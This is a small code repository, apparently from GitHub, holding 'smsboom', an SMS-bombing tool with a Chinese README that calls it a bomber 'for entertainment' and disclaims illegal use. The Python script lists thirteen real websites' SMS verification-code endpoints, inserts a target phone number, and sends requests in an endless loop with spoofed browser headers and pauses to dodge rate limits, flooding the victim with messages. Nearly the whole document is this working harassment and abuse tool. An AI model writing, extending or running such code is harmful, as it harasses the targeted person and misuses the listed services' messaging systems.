├── README.md └── boom.py /README.md: -------------------------------------------------------------------------------- 1 | # smsboom 2 | 短信轰炸机~娱乐使用,共同学习,如果用于非法用途,后果自负 3 | -------------------------------------------------------------------------------- /boom.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import json 3 | import time 4 | import random 5 | 6 | # post地址 post参数 7 | APIS = [ 8 | # 赛雷网游加速器 9 | { 10 | 'url': 'https://api.cpspeed.com/index/verify-code', 11 | 'body': { 12 | 'login_type': '1', 'telephone': '手机号码', 'verify_code': '', 'scenario': 'login-dynamic-code', 13 | 'redirect_url': 'https://client.cpspeed.com//login/success', 'mac': '', 'channel_id': '' 14 | } 15 | }, 16 | # 带我去 频率限制 1分钟 17 | { 18 | 'url': 'https://accounts.daiwoqu.com/api', 19 | 'body': { 20 | 'type': 'login_yzm', 'phone': '手机号码', 'kind': 'login_yzm', 21 | } 22 | }, 23 | # 中国人事考试图书网 24 | { 25 | 'url': 'https://rsks.class.com.cn/sysuser/fg/member/code?type=1&smsEnum=0&phone=手机号码&email=', 26 | }, 27 | # CNMO 28 | { 29 | 'url': 'http://passport.cnmo.com/index.php?c=Member_Ajax_Register&m=SendMessageCode&Jsoncallback=jQuery18306147606011785998_时间1&mobile=手机号码&type=5&_=时间2', 30 | 'headers': { 31 | 'Referer': 'http://passport.cnmo.com/' 32 | } 33 | }, 34 | # 华测云 35 | { 36 | 'url': 'http://cloud.huacenav.com:9000/Account/Auth/GetPhoneCode', 37 | 'body': { 38 | 'phoneno': '手机号码', 39 | }, 40 | }, 41 | # wedo 42 | { 43 | 'url': 'http://www.wedoone.cn/reg/getPhoneCode.action', 44 | 'body': { 45 | 'phoneNum': '手机号码', 46 | }, 47 | }, 48 | # shareinstall 49 | { 50 | 'url': 'http://api.shareinstall.com.cn/login/sendmessage', 51 | 'body': { 52 | 'mobile': '手机号码', 'type': '1' 53 | } 54 | }, 55 | # xueersi 56 | { 57 | 'url': 'https://reg.xueersi.com/RegV1/sendVcode', 58 | 'body': { 59 | 'phone': '手机号码' 60 | }, 61 | 'headers': { 62 | 'Referer': 'https://zt.xueersi.com/zaixian/pc-zhu-tiyanke/quanke/indexa.html?xeswx_sourceid=124550308&xeswx_adsiteid=731779&xeswx_siteid=272&&hot_url=aHR0cHM6Ly9hcnRlbWlzLnh1ZWVyc2kuY29tL3hlcy5waHA/c291cmNlPTEyNDU1MDMwOCZzaXRlX2lkPTI3MiZhZHNpdGVfaWQ9NzMxNzc5JmJkX3ZpZD01Nzk5MzUwNzkxOTYzMDQzMjk3Jm9jcGNfcmVwb3J0PWElM0E1JTNBJTdCcyUzQTYlM0ElMjJiZF92aWQlMjIlM0JzJTNBMTklM0ElMjI1Nzk5MzUwNzkxOTYzMDQzMjk3JTIyJTNCcyUzQTglM0ElMjJjbGlja19pZCUyMiUzQnMlM0ExOSUzQSUyMjU3OTkzNTA3OTE5NjMwNDMyOTclMjIlM0JzJTNBOSUzQSUyMnNvdXJjZV9pZCUyMiUzQmklM0ExMjQ1NTAzMDglM0JzJTNBMTElM0ElMjJjdXN0b21lcl9pZCUyMiUzQmklM0EyNzIlM0JzJTNBNyUzQSUyMmhvdF91cmwlMjIlM0JzJTNBMTQ0JTNBJTIyYUhSMGNEb3ZMMkZ5ZEdWdGFYTXVlSFZsWlhKemFTNWpiMjB2ZUdWekxuQm9jRDl6YjNWeVkyVTlNVEkwTlRVd016QTRKbk5wZEdWZmFXUTlNamN5Sm1Ga2MybDBaVjlwWkQwM016RTNOemttWW1SZmRtbGtQVFUzT1Rrek5UQTNPVEU1TmpNd05ETXlPVGMlM0QlMjIlM0IlN0QmbV9jaGFubmVsPWhvdA==' 63 | } 64 | }, 65 | # yingsheng 66 | { 67 | 'url': 'https://sso.yingsheng.com/crosApi', 68 | 'body': 'Cs25"sso_getRegisterMobileCode"a1{s11"手机号码"}z', 69 | }, 70 | # baixing 71 | { 72 | 'url': 'https://www.baixing.com/oz/verify/reg?mobile=手机号码', 73 | }, 74 | # 51sxue 75 | { 76 | 'url': 'http://www.51sxue.com/index.php', 77 | 'body': { 78 | 'app': 'member', 'act': 'regPhone', 'phone': '手机号码', 'username': '456dadad' 79 | } 80 | }, 81 | # yespmp 82 | { 83 | 'url': 'https://admin.yespmp.com/YespmpWeb/registerSendCode', 84 | 'body': { 85 | 'phone': '手机号码' 86 | } 87 | }, 88 | # xiezuocat 89 | { 90 | 'url': 'https://xiezuocat.com/verify?type=signup', 91 | 'payload': True, 92 | 'body': { 93 | 'phone': '86-手机号码' 94 | } 95 | }, 96 | ] 97 | 98 | 99 | def sendSMS(API, phone): 100 | headers = { 101 | 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36', 102 | } 103 | if API.get('headers'): 104 | headers.update(API.get('headers')) 105 | url = API.get('url').replace("手机号码", phone).replace("时间1", str(int(time.time() * 1000))).replace("时间2", str( 106 | int(time.time() * 1000))) 107 | body = API.get('body') 108 | try: 109 | if body: 110 | body = eval(str(body).replace("手机号码", phone)) if isinstance(body, dict) else body.replace("手机号码", phone) 111 | if API.get('payload'): 112 | body = json.dumps(body) 113 | r = requests.post(url, body, headers=headers) 114 | else: 115 | r = requests.get(url, headers=headers) 116 | # print(r.status_code) 117 | # print(r.text) 118 | # print(json.loads(r.text)) 119 | except: 120 | ... 121 | 122 | 123 | def main(phone): 124 | i = 1 125 | while i > 0: 126 | for API in APIS: 127 | sendSMS(API, phone) 128 | time.sleep(random.randint(1, 3)) 129 | print(f"{time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())} 第{i}轮轰炸完成!等待60秒后,开始第{i + 1}轮轰炸!") 130 | time.sleep(60) 131 | i += 1 132 | 133 | 134 | if __name__ == '__main__': 135 | # 手机号 136 | phone = '183********' 137 | # sendSMS(APIS[-1], phone) 138 | main(phone) 139 | --------------------------------------------------------------------------------